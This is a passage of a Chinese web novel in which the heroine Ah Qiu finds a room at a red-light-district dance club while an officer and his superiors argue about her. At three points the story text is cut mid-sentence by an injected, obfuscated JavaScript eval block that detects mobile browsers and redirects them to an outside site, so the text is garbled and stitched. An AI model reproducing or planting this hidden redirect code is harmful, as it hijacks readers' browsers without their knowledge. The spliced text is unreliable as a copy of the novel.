他一点也不介意把天聊死,而阿邱也不介意他把天聊死。因为从这件事上看得出,她的为人处世可比堂堂豆子警官成熟多了,此刻正沉浸在隐秘的骄傲和自豪中,谁也不能打扰。 被羞辱、被扫地出门的确值得生气,但她心态好,可以选择不生气,救世主就该有这样的格局!为了成为大家的英雄、为了greatergood,吃点小苦头算得了什么? 唯一比较可惜的是,兵器亮得太早,没来得及跟老板打听近期有没有较为引人注目的外来者出现…… …… …… 又在望着天发呆了,这位女士。 豆子用余光观察着邱小姐。 他还以为她要哭了,就像刚见面时那样。可她现在情绪良好,不知道想到了什么,一边本能地紧紧跟着他走,一边用出窍的灵魂兀自发出呵呵的傻笑——脑子多少有点病,就是忽视出身,这种人也还是少惹为妙。 再这样下去,她就要跟着自己走回指挥处了。为预防克洛诺斯的碎嘴子,豆子深吸一口气,破天荒地主动跟她搭话了:“你的恰比镇长真是太不靠谱了。” “说明他不是我的恰比镇长。”邱小姐立即回话了,看来这个沉浸式傻笑也并没有很沉浸。 马上她又反应过来:“不对,他是恰克镇长!你……你是在跟我讲笑话吗?原来你——不行,太生硬了,好难笑。你等我一下。” 邱小姐忽然立正站好,“嘶——”地吸了一大口气,胸膛都抬到了肩膀以上,等肺部满到不能再满时,像气球炸裂一样,爆发出了一串闹耳朵的大笑声。 扯着嗓子笑完了,她揪住豆子的衣袖道:“但我愿意为了你笑出声!所以我们现在算是朋友了吗?” “我不跟傻子交朋友。” “那好吧。”她讪讪收回了手。 这么容易就放弃了?那你的诚意还怪有弹性的。 豆子不跟傻子交朋友,但也不会无端欺负傻子,又领着她走出一段路后,回头道:“我先送你回戍卫队的招待所?” 邱小姐皱起鼻子:“他们肯继续收留我才有鬼了。” 看,傻子都懂的道理,克洛诺斯怎能不懂。 “要不你跟我回指挥处,我们楼上还有一间——不,半间空出来的卧室。”豆子揣摩着领导的心思,好心提议道,“前提是你能接受跟我共用一间浴室。” “不能接受。”阿邱张口就是拒绝。 同时也心酸地再次确认——豆子警官的地位真的好低呀!如果她还没点眼力见、觍个脸侵占了豆子的半间卧室,那他的生活环境岂不是更糟糕了吗?这还没跟终止式搭上线就开始欠人情了,她才不要。 在脑袋里跑完这些债务问题,阿邱才想起来要注意礼仪:“……但是谢谢你的好意。” 看得出来豆子很努力地忍住了一个白眼。 阿邱有些尴尬,没话找话道:“你们单位真的一个女生都没有吗?” “没有。” 阿邱毫无凭据地在心里下了定论:那完了,贵单位肯定不会长久的。 还是想想接下来该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052057|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么办吧。依老板所言再去街上找找旅店?就是捡漏,估计也早被接受拼房的游客捡完了。实在不行,郊外还有露营地,要是露营地也满了……睡大街也不失为一种有趣的人生体验。 心绪不宁时,看看美貌的男人或许能抚平焦躁。阿邱在二手市场把衣服里的宝贝全都丢进了行李袋里,通缉令的复印件却还留在胸口处的内袋,此处没有浪里白条,她就把这张纸拿出来、小心翼翼地展开,逃避式地欣赏了起来。 人类的理性何其精妙啊,一小时不到,就帮她做到了看着鸫14岁的样子想象他20岁的样子。书上说过,幼态圆润好欺负是魔族才有的审美,那么按照人类的审美,现在的鸫应该变得高大威猛、有棱有角、性格也温润如玉了吧——简而言之,跟豆子警官的每一颗毛孔都形成反义词。 豆子不愿意跟阿邱交朋友,肯定不是……不全是阿邱自己的问题,也有他本身性格就很冷漠的因素在!虽说大家都不怎么喜欢阿邱……好吧,不讨厌她就谢天谢地了——这可不是调律师挂在嘴边的习得性无助,这是危机意识,无缘无故对她好还不求任何回报的人,通常都是有点图谋,就像克洛诺斯,谁知道他的笑容之下藏着什么坏呢!那阿邱自然也不是吃素的,她表面上笑脸相迎,背地里还在马不停蹄地磨杀驴刀呐,怕了吗,锃锃锃…… 为了缓解心中不安,阿邱开口向一张不会动的画像祈祷:“鸫,你会保佑我的吧?” “他还没死呢。” 看,刚才说什么来着,豆子的性格真的大有问题,连这种字眼上的瑕疵也值得他生气。 豆子当然生气了。 作为所谓十字城邦的“守护者”,他希望公民也能有点起码的自我防范意识,不要总是理所当然地及时行乐,平时就知道躺着睡大觉,出了事才哭着喊着来找他们擦屁股。 就像邱小姐,房子没得住也毫不在意,只知道死命盯着那张复印件看,像是要把它吃进眼睛里。真是怕了这群和平年代的末日狂欢者,丢根火柴进去就能群魔乱舞地烧它个三天三夜。 他实在搞不懂为什么,见过鸫这张脸的人都跟着了魔似的。老话说红颜薄命,老话又说自古红颜多祸水,入魔者当然不知道漂亮的皮囊会给当事人带来多少麻烦,最常见的一个例子:越是被外表迷住,越是容易色衰爱弛;可衰老与死亡明明是人类永恒的结局,他们不是不知道,却偏要逆天而行,最后当然是落得一无所有。 这样的故事曾在豆子身边上演过无数次:他认识一个年轻时做地下美术馆生意的老人——在洱鸾大陆,没人敢公开发表美术作品,这是因为创作它们的过程涉嫌滥用赋格魔法,绝大多数人都骄傲自豪地嗤之以鼻,主动避开了这项肮脏的活动。 可总有些小众群体有这方面的需求——无论是展示还是接受,老人的工作就是暗中牵线帮他们互相满足。他的妻子是个远近闻名的美人,一生为这个异类自私鬼操劳奔波,晚年干不动了,罹患不治之症,卧病在床奄奄一息。老人无法接受现实,那个年代还没有记忆提取显像术这种鬼东西,于是他找到画家朋友定制了画像,纤毫毕现地复刻了妻子春秋鼎盛时的美貌。 从那之后,老人每天的活动只剩入魔地盯着画像看,行也看,坐也看;吃饭放对面、睡觉放床头,当着身边尚在苟延残喘的妻子,无时无刻不在缅怀她的美貌,也缅怀自己逝去的青春。结局想也知道,妻子没能从自己的画像手上夺回丈夫,弥留之际,竟连他的最后一面都没见上。 双眼永恒地注释着画像,就看不到真实存在的人了,这是对死亡的不承认。邱小姐的种种行为表明,她追求永恒、拒绝承认死亡,现在豆子可以断言了——和克洛诺斯一样,她也是个活在梦里的人。 12. 第十章 淡猫 除了活在梦里,就连大笑后断崖式恢复平静这点也跟克洛诺斯一模一样,在戏剧中的人物设定应该是报喜的长跑运动员——报完喜就倒在地上死掉了。然而现实总爱和人开玩笑,像豆子这样只想当个背景板、平平淡淡过完这一生的普通人,身边却总会环绕这种走到哪里就把风暴带到哪里的人。邱小姐可能还没到这种程度,但正如已成型的万恶之源本人所言,他与他的同类“会在世界上的每个角落互相确认!” 很不幸,互相确认已经不可逆地发生了,预计在接下来的相当长一段时间内,本体与他的复印件会手拉手围着豆子载歌载舞,把原本平静的生活搅得支离破碎。前路真是一片灰暗啊…… “无须惧怕灰暗的前路!无须担忧惨淡的现实!只要悉心侍奉狄安娜女神,她就会来到你身边,垂怜你、抚慰你、为你的子孙后代托起光辉灿烂的未来!” 广场上,传教士正在进行每日布道,听起来是面向老年人的一套底稿。 对这件事,阿邱的半颗魔族脑袋时而也有“你算老几”的意见:洱鸾大陆的人们信奉美梦教,而美梦教只有狄安娜这一个女神,就算传教士们从此缄默不言,公民也找不到别的神去侍奉了……罪过罪过,没有质疑女神的意思,她只是在替城邦制骄傲:只用侍奉一个神,人们就会把更多的时间分给世俗生活了,而不会像王政时代那样,每每要通过国王和领主,接受人数众多的主教们的三手命令。 浪漫一定是发生在世俗中的,不信你瞧那位站在角落里的传教士,年纪35岁左右、发量适中,即便一整个早上都没能从美少年合唱团手中夺走半个观众,也能保持住一副精神焕发、红光满面的样子。 这是因为,吸引观众不是他吃饭的家伙,坚持布道才是。细究下来,根源还是十字城邦保证为每位公民提供足以干到退休的工作岗位,同辈竞争、绩效压力和大龄优化都是不存在的,生活在这里,人们都幸福极了。 对一个连住所问题都没解决的半人半魔来说,别人越幸福,她就被衬托得越焦虑。现实困境暂时无解,可人类的半颗脑袋又觉得,这也没太大关系:只要血脉得到净化,女神就会及时给予她垂怜与抚慰,托起光明、驱散所有的苦难啦!别怕,用浪漫精神来看,幸福的人们将是自己未来的样子,阿邱的前路其实一点也不灰暗。 那么,在女神暂时的视野盲区,一切都要靠自己了。 阿邱思索着:“也不知道有没有法律的空子可以钻钻……” 豆子警官向她再次确认:“你在问我?” “啊?没有没有,你听错了。” 不慎把心里话说出了口,为了逃避追责,阿邱神经质地蹦起来,指着那条幽暗的小巷道:“对了,我刚才就是在那堆樱桃箱后面看到女装怪人的!” 女装怪人当然没有应声出现,抬头一看,房顶上却站着另一位……更加难以形容的怪人。 站在房顶上并不奇怪,怪的是,这是一位打底穿着女款浴衣、上半身却系了一套锁子甲的黑壮汉。如果这回不是豆子也看到了他——并虎躯一震,阿邱都要怀疑这条小巷是在针对她一个人制造精神污染了。 那黑壮汉风情万种地向他们招招手,从高处一跃而下,轻盈地落地,竟没发出半点声响。 通常遇到这种情况,豆子会提议跑、快跑、头也不回地跑,可蹦蹦跳跳的邱小姐为了看稀奇,主动跑向了人身安全的反方向。 黑壮汉嗲声嗲气地招呼她:“哎哟哟,亲爱的们,这是碰到什么难题了呀,小脸都黑成了这样?” 再黑也没他黑。 “再黑也没你黑,哇哈哈!” ……又把心声说出口了。 活该她挨了一捶:“讨厌!嗯——让人家来猜一猜,这位小姐,你是不是来得晚了,没找到地方住呀?” 豆子略微警惕起来。小镇的治安管理水平随着戍卫队的往来大幅变化,而镇民身上总会保有一些平日的惯性,那位旅店老板就是例证。如果这位扭动的黑壮汉是原住民,趁人落单不请自来,不是诈骗犯就是人贩子、不是人贩子就是克洛诺斯;多年以来,克洛诺斯也就出了邱小姐这么一个预备复印件,那么合理推测,这个不在战场却身披锁子甲的家伙恐怕另有图谋,不应该出现在巷子的向阳处—— “你是开旅店的吗?”只有邱小姐这个糊涂蛋会高兴地握住他的手,好像舌头被烫到了一样疾速吐噜着话:“你那边多少钱一晚上?我跟你走!” 黑壮汉反被她吓住:“别急别急,你是怎么看出来——” “我见过你那个女装……的同事,法律规定白天当街揽客不能奇装异——穿得不主流,于是你们只能躲在暗处伺机而动,对吧对吧?” 既然她又给人把剧本写好了,黑壮汉自然是顺坡下驴:“这都被你猜到啦!那就由人家来介绍……” “不用不用,现在空房紧俏,事不宜迟,咱们快走吧!” 阿邱头也不回地朝豆子挥挥手,挽住黑壮汉的胳膊,在他一串的“哎哎?”声中快步离开。 揽客的穿成这样,那旅店估计也不是什么正经旅店——甚至都未必是家旅店。 ……还是别挑剔了,总比睡大街好。 与此同时,经过一段漫长的真空期,阿邱总算醒过味来,眼下急需离开豆子的视线,找个地方自己缓一缓。 回到背阴处,旧的领路人也被远远甩在了身后,趁黑壮汉不注意,她摘下眼镜、抹掉眼泪,又狠狠抽了几下鼻子,带着夸张的呼哨,假装是天气太冷冻出鼻涕来了。 她知道这样很没出息,可是刚才已经数到3了——她才不是傻子,她聪明着呢,豆子才认识她几天就敢下此定论啦?他以为他不傻吗?公职人员很了不起吗?通过那么难的考试,还跟老百姓打架!所以她带着比理智快一步的怨气拒绝了合住提议——没有这些前情也该拒绝;好啊好啊你这个终止式,一个个的都在排斥她,老的虚与委蛇、少的人身攻击,从不同角度表达了同样的“请你滚开”,她可欠不起这么高贵的人情! 好在成年人的情绪控制能力已经发育得很完善了,走进巷子更深处,阿邱想通了:被旅店拒绝、被终止式拒绝,这两件事应该分开看,不能叠加在一起,也不能数着序号把它们排列到同一条时间线上。 好了,让我们放松肩膀深呼吸,把数字归零。不过是气氛判断不当导致的一次小小失误,在广阔的人生中实在是微不足道,阿邱相信,只要她坚持真诚待人,别人迟早也会喜欢她的。 阿邱不会放弃追寻流星,所以她不逃跑,只是要换一种态度对待终止式;至于同龄人这边,以后换些一看就性格很好的人交朋友就是了……没错,都怪豆子和那位新人审讯员性格不好,这是客观事实,不是自欺欺人!阿邱跳开一步,先把自己摘了出来。朋友比她多又怎样?还不是因为他们幸运,一出生便拥有了自由;自由是普遍的、智慧是罕见的,他们又不像美梦女神那样一出生就拥有了智慧,有什么了不起的! 这个时候,她忽然想起了圣诗是怎么背的。 严格来讲,那不是圣诗,而是夹在圣诗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052058|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集里的一则手抄小诗,有一句是这么写的:“吾魂兮无求乎永生,竭尽兮人事之所能。”* 阿邱那本圣诗集是从旧物市场淘来的,附近有老人去世,跟了他一辈子的圣诗集就这样被家人贱卖了。至于那首小诗呢,竟敢否定人人都在世俗中追寻的永生,思想标新立异、题材不合规范,故而无法出版,八成是已故老人自己闲情所作,却在初见时便击中了阿邱的心,因而人半脑和魔半脑都记得清清楚楚。 黑壮汉的自重加上一身行头大概有两百五十多斤,却身不由己地被阿邱推着走了一路。他可能还在回味这个单子是怎么莫名其妙谈下来的,结巴着开口:“小、小姐,要不我还是先跟你自我介绍一下?” 阿邱笑脸相迎:“您请!” “人家的名字叫牧笛,是淡猫俱乐部的老板。” “淡猫?那还有浓狗吗?” “有的有的,那是我们在邻镇的分店——开玩笑的啦,你先松手好不好!” 又来了,看不透的客气。在这种小事上都不说真话,背后肯定瞒着更可怕的谎言。 为了双方的人身安全着想,仍不太习惯摘出自己的阿邱率先示弱:“你真好!这段时间瓦德密尔半数以上的人都涌向了旧矿山镇,正是赚钱的好时机,你却还愿意向我这种无名之辈伸出援手,愿女神保佑你,善良的大姐!” 听她这么称呼自己,牧笛笑得胡子都飞起来了,娇声道:“哎哟哎哟,那你是不知道,镇上的人数还远远不够多……” 镇上的观赛人员越来越多,就连镶边的秩序维持者也是一刻也不得闲。 “哟,罗宾小队员,你生气生好啦?” 返程路上,豆子在广场上碰到了两位也在返程路上的领导。 “我哪有生气?”他没好气地说。 克洛诺斯看看他身后,问道:“阿邱小姐呢?” 正常来讲,他应该问的是:“你把她送到旅店了吗?” 上意揣测正确,豆子略过旅馆见闻这一节,简单交代了樱桃箱后发生的事,克洛诺斯一听,神经质地蹦了起来:“然后你就看着她跑了?” 豆子语带嘲讽:“不然呢?别人急着要甩开我,我还巴巴地追上去?” 马尔科姆眉头一皱:“你是说浴衣上面穿锁子甲的黑胖子?如果这不是旧矿山镇普遍的穿搭风格,前两天,我好像在夜之窟见过这个人。” “什么?!”听到这个地名,克洛诺斯更是如临大敌,“快快,豆子,你赶紧把她追回来!” 豆子依然一副事不关己的样子:“你亲自走一趟,比跟我在这嚷嚷有用。” 情急之下……也没有很情急,克洛诺斯还能抽空批评他两句:“你这工作态度完全是甩手掌柜,看我月底怎么给你填报告!” “你好,全队的月度报告都是我在填,你喜欢的话以后就交给你了,记得跟獬先生写信申请。” “你?!” 豆子见他又要小题大做,烦躁地说:“别跳脚了,你就安心吧,一个随手就能缴我的械、用一只手可以推动三百斤壮汉的成年人,还能在光天化日下横死街头不成?” 克洛诺斯的关注点果然跑偏了:“缴械?谁?她缴你?不是吧,你诶,一个#F级别快要升到G的注册角斗士?” “我懒得跟傻子扯谎。” “好好好,算我傻子。可再怎么说,她也是个女孩子啊!” ———— *古希腊抒情诗人品达诗作,此处采用上海译文13版《西西弗神话》的翻译。 13. 第十一章 异邦 “可再怎么说,她也是个女孩子啊。” 海伦讶然抬头:“有时候我觉得那些激进派讲得真对:应该无条件地确保团队中有一名以上的女性成员,这样才能让视角更全面、不放过工作中的任何细枝末节。” 在她手中,飞笺终端的浮空屏幕上快速堆积起了一条条红色波形,被她的目光一一扫过,由上到下井然有序地变成了蓝色。 看着她逐条用蓝色取缔红色,不爱笑的新人审讯员抱起胳膊说:“我没在开玩笑。说真的,要是出了人命官司,我良心上会有点过不去。” 担心被领导看低,她急忙补充了一句:“只有一点点过不去而已。一想到她被关进塔尔塔洛斯的原因,我只会觉得天道好轮回。” 海伦集中注意力盯着屏幕,用意念回复了所有讯息,关闭终端,回头看了一会“戏梦人生”的招牌,意味深长地说道:“无需自责,迷茫和矛盾正是年轻人的特权。” “哈?什么意思,是在讽刺我太嫩了?” 海伦戳戳新人审讯员鼓起来的脸颊:“你在年会上保证过今年要彻底摆脱‘刺猬露娜’这个称号的,怎么,现在就想放弃了?” 露娜咬咬牙,脸颊瘪下去:“‘今年’不才刚刚开始么。” “狡辩。” 海伦收起微笑,像个姐姐一样上前整理她被风刮乱的衣领,又细心调整了助听器的位置,最后替她拂去肩膀上的碎发,轻声道:“作为神殿戍卫队的士兵,有时候就是需要克服‘良心’这种东西。” 露娜时常有一种想法:海伦姐为什么总在笑着呢?因为她不笑的样子,实在可怕极了。 她克制不住地想找点轻松的话题转换气氛:“阿瑞斯杯都选在旧矿山镇办了,你妹妹今年总该回来一趟了吧?” 提到家人,海伦精神一振:“是的,前不久我们刚通过信。” “你说的通信,该不会又是你单方面地发了一大串,一周之后她回你一个‘哦’吧?” “她呀……唉,我都懒得骂了,就让‘外面的世界’来教她做人吧。” 话是这么说,海伦又笑开来,深红瞳色和夜晚盛放的玫瑰一样艳丽,使得笑容中也饱含馥郁,是常人也能轻松享受到的感官愉悦。 露娜甘愿为了这个笑忘掉她可怕的样子。 “偷偷跟你说——不讲良心,只讲私心地说,我总觉得……”年轻人矛盾而茫然地望向远方,“总觉得哪里不太对。我也知道人头数很重要啦,但是非得把,呃,把那些异邦人也卷进来吗?” “看,稍微没提醒你就忘乎所以了——士兵不可以无端揣测上头的意思哦,任务派发下来,只管全神贯注地执行即可。” “我知道了……” “不过露娜,‘异邦’这个词你用得很好。” 说着,海伦跟她一起远远望向天边。得益于森林之海的空气质量,在瓦德密尔,假如这一天的阳光很稀薄,即便是在大白天,人们也能用肉眼直接观测到浩瀚的银河。 露娜还记得,上次说起“异邦”这个词时,微醺的海伦姐摇晃着酒杯,眼睛发亮地赞同道:“对、对,‘异邦’,太准确了,扩写一下就是——‘异端聚集的城邦’。” ———— ———— 夜之窟。 这里是旧矿山镇的……嗐,早说嘛,官方指定红灯区。 整得怪吓人,阿邱先开始还以为女装怪人们是来抓人下黑矿的呢——谁叫贵镇的镇名十几年都不带变的。 题外话,谁都别嫌弃下黑矿,下黑矿也属于长期正式工作,有权签署租房合同的哦。 红灯区的营业时间不在白天,只有零星几个做“常规”生意的小店没精打采地半开着门,就连看门的老狗都耷拉着眼皮半睡半醒,一派“太阳出来我就歇”的景象。 ——怪不得刚才豆子对牧笛有些警惕。这么一想,原因很可能是在担心自己!替他找到这个借口,阿邱在一瞬间就原谅了他。 牧笛生怕阿邱拔腿就跑似的,用粗壮的胳膊揽住她,亲切地说:“你还没找到正式工作吧?” 阿邱顺着他的意思问:“这边有什么我能做的工作吗?” 牧笛提高调门:“当然不会随随便便让你一个小姑娘从事风俗业啦!我们俱乐部的斜对面有个报刊亭,老板年纪大了,身体不好,想雇个人帮他守摊子。” “真的呀!”阿邱眼睛一亮。她都把预期拉到最低了,没想到还有意外收获! “不过有一点不好,那老板担心自己随时会嗝儿屁,不敢跟人签长期合同,所以你只能把它当作一个过渡性质的零工。” “有个收入来源就很不错啦!” 阿邱酝酿着正要再说一通好话,可牧笛已经把话说满了,找不到马屁发挥的余地:“正式工作我也尽量帮你看看吧,要是有合适的岗位,就是抢我也给你抢下来——你都擅长做什么呢?” 正如新人审讯员所言,植物学肄业的资历没有证书就没法变现,于是阿邱跳过专业,羞愧地回顾了自己惨淡的前半生,接下来的每句话都是在勉强挽回颜面:“我劲儿大,手也灵活,还能吃苦,加工服装、做雨伞、印刷试卷……这些都会做,还有,像垦荒、锄杂草、试药、凿隧道这类需要集中注意力的体力活,我也有很丰富的经验。” “别紧张别紧张,人家又不是在面试你。”牧笛对她举的这一通堆指向性明确的例子毫无反应,“咱们女孩子都是娇花,会把人变丑的工作,人家才不会介绍给你呢。” 阿邱心想,首先,她这个底层人优先需要解决生计问题,并没有保持美丽的义务;其次,她认为娇花还不够引人注目,不配拿来形容牧笛的形貌——大槐树才配。 “人家是想问,你有没有那种比较异于常人的能力?也就是咱们教的教义之一:‘人无专长,却有特长’?不是真要你在哪一行做到顶尖,你就根据自身的情况现编一个,差不多就行了,拿出他们男人在酒桌上吹牛的气魄嘛!” 也不知道谁愿意听阿邱吹牛,但异于常人的能力她倒真有一个,用不着现编:“我是左利手和右利手。” 牧笛站住不动了;“你是说你两只手都能写字?” “是的!”阿邱举起双臂试图展示肌肉,遗憾的是,皮包骨的中间只有青筋配合地爆出来,“我有白银右手和青铜左手!” “噢哟,万人之上、齐格飞之下就是你啦!”牧笛登时笑得槐枝乱颤。 阿邱却不太乐观:“可是这对找工作也没什么帮助吧……” “谁说的,不试试看怎么知道?” “我是都想试试,但他们不一定给我机会呀——哎?前面那个是迦南小队长吗?” 阿邱没看错,森林戍卫队的领尾人就站在不远处,看起来并不是刻意堵住了他们的道路。 夜之窟声名在外,实体却不过是条狭窄的小巷,它能做到的只有把不冻港的空间节省术移植过来:附近的“赤焰”小酒馆没开门,它的旁边就是整栋楼的下水管道,一座锈迹斑斑的铁架楼梯岌岌可危地穿插在那上面,拐弯处稍宽阔些的平台竟能摆得下一个全天候开放的露天咖啡馆。 “我是受夏尔玛镇长所托,前来核查邱小姐现在的情况。”坐定后,迦南小队长如是说。 “完全不提旅馆的事?那就不是来接我回招待所的喽。”阿邱如是想。 牧笛听到“镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阿邱看得出,虽然对方没有明说,但终止式的救兵恐怕是把查封某些门店当成了保底选项,和迦南小队长对这些门店的合作意向形成了鲜明的对立…… 二位守护世界安宁的“同僚”,要是为她那点破事吵起来就好玩了! 不,她是说,“就不好玩了”,止干戈才是人类应有的美德。 那么此时就需要她的一个上善若水、海纳百川的表态了。 在此之前,请允许表态者暂时抽离一刻。 刚才,咖啡馆迎来了第二次地震,起因是有个醉汉发酒疯,不小心打翻了送奶工的奶箱,牛奶洒了一地,汇向低洼处的水沟,形成了一条白色的路。 楼下,所有人都在为打翻的牛奶吵架。老狗醒了,它不懂得人类的语言和冲突,只是急着要填饱肚子,因扯起破风箱一样的喉咙,呼哧带喘地赶去舔那条白色的路,在它彻底淌走之前。 阿邱抬头,看向那条有着相同名号的路。它只是好端端地挂在天上,并不关心此时有谁看向了它,也永远不会应和一般规律,无条件地往低处淌。 “放心吧,牧笛先生对我很好,我也很喜欢这里。”阿邱站起身,笑眯眯地说,“迦南小队长、马尔科姆副队长,你们二位还是早些回去吧,我怕夜之窟的居民看到这么多穿制服的,吓得都不敢开门做生意啦。” “就是嘛!”牧笛对她的站队行为非常满意,投去赞赏的一瞥,跟着站起身,“事先声明一句,夏尔玛镇长对我们这里也是睁只眼闭只眼的哦,以后啊,还请长官们少来这条街上走动,拜托拜托啦!反正你们走到哪里,哪里就有大事发生,虽说夜之窟里面无新事……但我们也不喜欢平静的生活老是被打扰!” 见两位正经人神色微变,他又风情万种地缓和气氛道:“当然,客人们要是得了空,换身衣服、晚上过来消遣消遣,人家也还是很欢迎的哟!” 14. 第十二章 落脚 既来之则安之的另一重解读是:既然大家明里暗里都希望阿邱留在这儿,那她也只能善解人意地在这落脚咯。 人要往前看,她很忙,没工夫细究那些人情世故。本想找个人多的地方拿出复印件打听打听,可她刚刚了解到一件事:淡猫俱乐部的主要服务对象,是一群有特殊癖好的男客。 女装怪人和牧笛的穿搭风格在这里得到了解释。阿邱下定决心,在公开场合一定要死死捂好她的宝贝,以免珍贵的流星被癖好、特殊与男客盯上。 “但咱们十字城邦的人——都很纯良,你也觉得是吧!”说话间,牧笛眼神有些闪躲,“店里从没发生过诸如耍流氓、暴力胁迫、剁手指这类情况,我们是个……是个清吧,平日的工作也不过是陪客人喝喝酒、聊聊天、跳跳舞,啊对,最主要的卖点就是跳舞,包括上半场的群舞表演和下半场的舞搭子服务……” “牧笛大姐也会跳舞吗?” “‘也’?开玩笑!”牧笛回身亮相,完成了一个难度系数极高的动作:把自己上下一体的身躯扭成了s形,“十年前的一方舞霸,怕不怕?” 哪一方啊? 反正不是这一方。刚才结账的时候,他揽着瑟瑟发抖的男招待,细细问过一遍饮品价格才转身跟公家人抢账单,最后惜败给力壮如牛的迦南小队长。 ——要么,他平时不爱喝咖啡。 第二种可能性字少,更有可信度,嗯嗯。 就这样,阿邱以十分低廉的日结价格入住了淡猫俱乐部的阁楼。这个住处哪儿都好,唯一的缺点是晚上开业后楼下会很吵,不过牧笛声称他已加固了门锁,以保证乱跑的醉汉不会闯进少女的闺房。 阿邱表示,这算什么缺点!她神经粗,在嘈杂的环境中睡得还更香呢,比起一个人面对漫漫长夜,被喧闹包裹着反而会给她一种谜样的安全感。 “是吗,那真是太好了!”合上卷帘门,牧笛向一片黑暗招呼道:“朋友们,快看呀,人我已经带回来啦!” 哪来的朋友“们”?走进这个设施陈旧、装潢艳俗的小舞厅,由于受雇的舞男晚上才来上班,卡座沙发一角,只蜷缩着一个瘦长的男人。 这男人看着像是俱乐部的保安,穿着倒很普通,只是浑身缠满绷带,不知是哪场重大火灾的幸存者。 回笼觉被吵醒,男人扶着头起身,嗓音困倦而粗嘎:“这就是你找来的福星吗?” 牧笛又是一声尖叫,地动山摇地跑去捂他的嘴:“什么福星,别乱说!” 秘密已经泄露出去了,在阿邱明确表示过“你们怎么想我我完全无所谓”的情况下,牧笛非要老实交代:近来他年老色衰,俱乐部经营不善,人不能要啥没啥吧呜呜,幸好有女神垂怜,派来一位云游的神婆,替他做了茶叶咖啡渣双学位占卜,卦象显示,今年早春时节,浑身口袋地出现在广场上的人,就是他们一直在寻找的福星——别问为什么,那些口袋不就是吸引金币的钱袋子嘛!只要遇见这个人,就立即逮……请来镇店,可保淡猫俱乐部十年财运亨通。 阿邱点点头,行,这也解释得通。 牧笛掀开脏兮兮的水晶珠帘去了趟厨房,不久后拿出一些加热过的快餐,盛情邀请福星一起享用早午茶。 “邱小姐,以后你就跟我们一块吃饭吧!只要不在营业时间内,厨房你也可以随便用。你问这些?唉,最近我们勒紧裤腰带,只能吃些不健康的垃圾食品了,不过那神婆也说了,只要你肯在这儿住下来,顿顿吃大餐的好日子就近在眼前喽!” 阿邱嘴上答应,却暗下决心只白吃他这一顿,等赚够了钱,立马把欠的补回来。 稍事休整,牧笛他们就要为晚上的生意做准备了。名叫“影”的保安跟他一起钻进后厨,帮着准备酒水小食,阿邱怕人手不够,跃跃欲试地想要搭把手,被牧笛以“我们的客人口味很挑剔,等下次有空了再带你熟悉熟悉”为由推了出去。 不便多作打扰,阿邱夹着尾巴回到了楼上的房间。 说“阁楼”只是一种类比,其实这里是整栋楼的一楼半,为了撑住斗大一个遮雨棚,构架上留出了一块延伸出去的面积。推开破旧的木门,她发现这块面积被软装成了一间带独立卫浴的小客卧,收拾得很干净,都快赶上普通旅店的客房了,唯一不同的是,墙上贴满了召唤好运的符箓和魔法阵,满到什么程度呢?如果她这个“福星”真是个邪恶的大魔女,一只脚刚迈进来,就要在无死角的强力魔法辉光中捂头惨叫了——开玩笑的。魔法仅以人作媒介,这些死物么,顶多起到装饰上的作用吧,魔女看了只会感到心寒,也能捂着拔凉拔凉的心口在这当中酣睡。 值得开心的是,在死物的间隙中,阿邱终于拥有一块自己的海报张贴处啦!而且这个空隙就在床头,方便她把鸫的通缉令糊在自己美梦的正上方——好不容易找到一个落脚点,虽然不知道这一回能待多久,但纸制品最好还是别随身带着了,要是磨坏了,她可不敢保证终止式愿意再送她一份。 丢掉行李袋,阿邱把自己掼在床上。床垫居然是软的,都把她给弹起来了,多幸福啊!她几乎都能猜到潜在的代价有多高啦! 随身带的小本子也从口袋掉出来、跟着她蹦了几蹦。这本小本子被命名为“情商修炼手册”,但它的主人窝在枕头堆里,仔仔细细回顾了这一个半天发生的事,除了最早那句“地位低的人都好暴躁,请远离”,没有一句值得写下来的情商小tip。 不,打开心胸,值得一写的事还是有的,虽然过程不太愉快,但最后也获益良多:不仅不用睡大街了,某种矛盾的愿望也得到了满足:以后行事,既能避开长官们的视线,又能以愧疚为通行证继续敲开他们的大门;敲不开也不要紧,起码可以不被收监,放任那人跑路——只要不抱期待,明天又会是美好的一天! 淡猫俱乐部的这些人也需要留意,分出一小半心神即可:牧笛此人看似轻浮,实际上嘴巴死紧,想跟他打听毫不相干的调律师,眼下还不是最佳时机;这条街上没有吃公家饭的人,要是不小心打探到了雷区,惊动了不该惊动的人可就坏菜了…… 困意袭来,阿邱涂好了临期润肤霜,阖眼前,最后看到的人是头顶上的平面鸫。 鸫……鸫嘛…… 出师不利。那就不要急于一时,先把时针掰回第一步的进度再说,在这个阶段,她已做好了最坏的打算:“这么好的一个人,怎么可能被我找到呢?” 比那更坏的情况是,鸫很有可能早就不在人世了…… 不,绝无这种可能! 